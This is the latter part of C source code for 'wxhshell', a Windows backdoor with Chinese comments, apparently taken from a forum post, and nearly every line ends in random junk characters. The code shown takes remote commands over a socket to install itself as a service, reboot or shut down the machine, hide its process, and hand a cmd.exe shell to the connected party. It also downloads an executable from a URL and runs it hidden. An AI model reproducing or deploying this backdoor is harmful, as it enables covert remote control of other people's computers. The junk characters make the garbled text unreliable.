  } >PH< N  
  else { ?W<cB`J  
w?;b7i  
    switch(cmd[0]) { g!`BXmW  
  IuWX*b`v  
  // 帮助 (q k5f`O  
  case '?': { ZX]A )5G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ./!KE"!  
    break; Z`"n:'&  
  } 2e\Kw+(>{  
  // 安装 gDc]^K4>  
  case 'i': { Eb7}$Ji\  
    if(Install()) 7`+UB>8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4`G=q^GL,  
    else ]h!*T{:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z{V8@q/  
    break; _pW 'n=}R  
    } /]l f>\x1  
  // 卸载 p(7c33SyF  
  case 'r': { kpY%&  
    if(Uninstall()) :9O|l)N)W=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JSUzEAKe  
    else k#-[ M.i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gTyW#verh$  
    break; X{|k<^:  
    } 6z`8cI+LRw  
  // 显示 wxhshell 所在路径 u4xA'X'~R  
  case 'p': { ;q^,[(8  
    char svExeFile[MAX_PATH]; `O jvt-5}E  
    strcpy(svExeFile,"\n\r"); ur`V{9g  
      strcat(svExeFile,ExeFile); ;p.j  
        send(wsh,svExeFile,strlen(svExeFile),0); s~#?9vW  
    break; vkh;qPD  
    } ;?#i]Bh>S  
  // 重启 r}Q@VS% %  
  case 'b': { W|)(|W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J~:kuf21  
    if(Boot(REBOOT)) OHQ3+WJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UfO'.8*v  
    else { [29$~.m$Y  
    closesocket(wsh); &AN%QhI  
    ExitThread(0); R2'C s  
    } \y<+Fac1S  
    break; Q&tFv;1w6  
    } jWz|K  
  // 关机 xU:PhhS  
  case 'd': { 5 ,g$|,Shv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s 0 =@ &/  
    if(Boot(SHUTDOWN))  #=>kw^5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9? v)  
    else { VK"[=l  
    closesocket(wsh); Di]Iy  
    ExitThread(0); Ebmqq#SHjX  
    } cC*zj \O  
    break; R?i-"JhW  
    } b'i%B9yU:%  
  // 获取shell hnlU,p&y3  
  case 's': { H 7 o$O  
    CmdShell(wsh); ]g>T9,)l  
    closesocket(wsh); k)o7COx  
    ExitThread(0); >7eu'  
    break; w4 >:uyE  
  } bt. K<Y0  
  // 退出 'bd=,QW  
  case 'x': { ~6pCOS}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "dFdOb"O-  
    CloseIt(wsh); LK oM\g(  
    break; 4?* `:  
    } }6b7a1p  
  // 离开 |O #wdnYW  
  case 'q': { Bil;@,Z#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $]`'Mi  
    closesocket(wsh); Ra*k  
    WSACleanup(); ]ys4  
    exit(1); U{.+*e18  
    break; cftn`:(&8  
        } 1yY'hb,0  
  } &)/H?S;yN  
  } J/H#d')c  
-6*OF.Ag`  
  // 提示信息 ph5xW<VNP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J_)z:`[yE  
} Mf,Mcvs  
  } z;Gbqr?{{  
5Rt0h$_J  
  return; 6H. L!tUI  
} "m\UqQGX  
*RqO3=  
// shell模块句柄 /ltP@*bo  
int CmdShell(SOCKET sock) S|Ij q3  
{ n=Z[w5  
STARTUPINFO si; 2*UE&Gp  
ZeroMemory(&si,sizeof(si)); <o"D/<XnB3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vY TPZ@RL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vVvt ]h  
PROCESS_INFORMATION ProcessInfo; D aqy+:  
char cmdline[]="cmd"; bC,M&<N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =6q*w^ET  
  return 0; FZ'>LZ  
} `Mh<S+/  
P*qNRP%  
// 自身启动模式 (B~V:Yt  
int StartFromService(void) * y"GgI  
{ b~jvmcr  
typedef struct  PtVNG  
{ :4L5@>b-  
  DWORD ExitStatus; @8 yE(  
  DWORD PebBaseAddress; VAB&&AL  
  DWORD AffinityMask; 7>e~i,  
  DWORD BasePriority; H)}1xQ{3F  
  ULONG UniqueProcessId; yK2*~T,6@  
  ULONG InheritedFromUniqueProcessId; *#{.\R-D  
}   PROCESS_BASIC_INFORMATION; '<E8< bi  
/dP8F  
PROCNTQSIP NtQueryInformationProcess; E0?\DvA  
4~D>oNx4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y<LwrrJ>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =[-- Hf  
F~- S3p  
  HANDLE             hProcess; 0 Vgn N  
  PROCESS_BASIC_INFORMATION pbi; QCY{D@7T  
?lw[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oG_'<5Bv>  
  if(NULL == hInst ) return 0; {&j{V-}f  
_ JJ0pc9t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;<GTtt# D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .g`*cDW^=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); es(LE/`e  
~q%9zO'  
  if (!NtQueryInformationProcess) return 0; e~~k}2~  
gB{R6 \<O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y Q @=\'  
  if(!hProcess) return 0; D]`B;aE>A*  
i3WmD@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fvAV[9/-  
hADb]O  
  CloseHandle(hProcess); 3jdB8a]T_  
EG8R*Cm,}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?m7"G)  
if(hProcess==NULL) return 0; 8ch~UBq/  
!?M_%fNE  
HMODULE hMod; "RX5] eJc\  
char procName[255]; Fmle|  
unsigned long cbNeeded; Wn#JY p  
eii7pbc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E4@fP] R+  
kb\v}gfiD/  
  CloseHandle(hProcess); 9wJmX<Rm  
d<m>H$\Dm  
if(strstr(procName,"services")) return 1; // 以服务启动 hGHzO  
{:8[Mdf  
  return 0; // 注册表启动 hLD;U J?S  
} q5?mP6   
&rWJg6/  
// 主模块 ? bg pUv  
int StartWxhshell(LPSTR lpCmdLine) qNVw+U;2P  
{ %,q#f#  
  SOCKET wsl; ;-Dd\\)p  
BOOL val=TRUE;  o%4+I>  
  int port=0; %4^/.) Q  
  struct sockaddr_in door; |OT%,QT|  
I~6 ;9TlQ  
  if(wscfg.ws_autoins) Install(); m D q,,  
qr;" K?NX  
port=atoi(lpCmdLine); HliY  
,$[lOFs  
if(port<=0) port=wscfg.ws_port; DNO%J^  
*Yjs$'_2  
  WSADATA data; iW$i%`>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9'aR-tFun;  
8+|Lph`/?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tqf-,BLh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NU*6iLIq|F  
  door.sin_family = AF_INET; n_2 LkW<?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rt;>pQ9,  
  door.sin_port = htons(port); 4f-C]N=  
3Ab$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 39e oL;O_  
closesocket(wsl); 86VuPV-  
return 1; Q{kuB+s  
} Q+N @j]'  
8Qy |;T}  
  if(listen(wsl,2) == INVALID_SOCKET) { qm_E/B  
closesocket(wsl); gI{F"7fa=  
return 1; _RVXE  
} f& *E;l0  
  Wxhshell(wsl); z [{%.kA  
  WSACleanup(); 4TV9t"Dk+c  
?2c:|FD  
return 0; )[.URp&  
pqX=l%{4ES  
} K~G^jAk+  
? ~8V;Qn  
// 以NT服务方式启动 m0YDO 0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7c7SU^hD  
{ i ib-\j4d  
DWORD   status = 0; [rem,i+  
  DWORD   specificError = 0xfffffff; W=+ag<@  
3]A'C&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p};<l@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ps [rYy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J3vuh#  
  serviceStatus.dwWin32ExitCode     = 0; 6zSN?0c  
  serviceStatus.dwServiceSpecificExitCode = 0; xNU}uW>>T  
  serviceStatus.dwCheckPoint       = 0; 14O/R3+  
  serviceStatus.dwWaitHint       = 0; cA,xf@itp  
57rP@,vj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n&lLC&dL  
  if (hServiceStatusHandle==0) return; &3M He$  
1l{n`gR  
status = GetLastError(); hw1s^:|+2  
  if (status!=NO_ERROR) H>?@nYP  
{ 7UfyOOFa  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZO}*^  
    serviceStatus.dwCheckPoint       = 0; ]b)(=-;>  
    serviceStatus.dwWaitHint       = 0; Z]dc%>  
    serviceStatus.dwWin32ExitCode     = status; 1k`!w}  
    serviceStatus.dwServiceSpecificExitCode = specificError;  E2l.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Uz6B\-(0p  
    return; wlJ_, wA  
  } mvnK)R_  
X9>ujgK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Iq9+  
  serviceStatus.dwCheckPoint       = 0; j"]%6RwM]  
  serviceStatus.dwWaitHint       = 0; XT\;2etVL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -M:.D3,L  
} qH$p]+Rk 5  
1E(pJu'K  
// 处理NT服务事件,比如:启动、停止 E^s>S,U[y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q~Ud>{  
{ 6%>0g^`)9Y  
switch(fdwControl) 3!I8J:GZ:  
{ /W;;7k  
case SERVICE_CONTROL_STOP: "o`( kYSF  
  serviceStatus.dwWin32ExitCode = 0; Mg].#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5:6mptn>  
  serviceStatus.dwCheckPoint   = 0; rW6LMkt72  
  serviceStatus.dwWaitHint     = 0; Adh CC13B  
  { y]k`}&-~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !Lo{zTDW  
  } jU=)4nx  
  return; Z`[j;=[  
case SERVICE_CONTROL_PAUSE: @Q'5/q+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zx^)Qb/EL6  
  break; lD(d9GVm{z  
case SERVICE_CONTROL_CONTINUE: {\k9%2V*+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0\/7[nwS  
  break; g&"Nr aQM9  
case SERVICE_CONTROL_INTERROGATE: .! &YO/  
  break; 0GB6.Ggft  
}; U+W8)7bc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uzsR*x%s-  
} ;@sxE}`?g  
:x_l"y"  
// 标准应用程序主函数 ,5q^/h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t.m $|M>  
{ 8ciLzyrY*  
#df Aqg'  
// 获取操作系统版本 Z:'2pu U+?  
OsIsNt=GetOsVer(); Kl^Yq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9,,1\0-T*  
p@P[pzxI  
  // 从命令行安装 4}gwMjU-B  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0<e7!M=U1  
L%fWa2P'  
  // 下载执行文件 4((Z8@iX/  
if(wscfg.ws_downexe) { }(gXlF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ImgKqp0Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); F M`pPx  
} DRw%~  
|>VHV} 4)<  
if(!OsIsNt) { 1W5YS +pf  
// 如果时win9x,隐藏进程并且设置为注册表启动 E#T'=f[r~  
HideProc(); MEg|AhP  
StartWxhshell(lpCmdLine); E]Kd`&^}  
} 2PRGwK/  
else wd u>3Ch"y  
  if(StartFromService()) u6I# D _  
  // 以服务方式启动 YV0e)bf  
  StartServiceCtrlDispatcher(DispatchTable); _oR6^#5#  
else h4sEH  
  // 普通方式启动 (RGl, x:  
  StartWxhshell(lpCmdLine); x`a@h\ n  
x< imMJ  
return 0; DT_012 z  
}
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只看该作者 1 发表于: 2006-10-10
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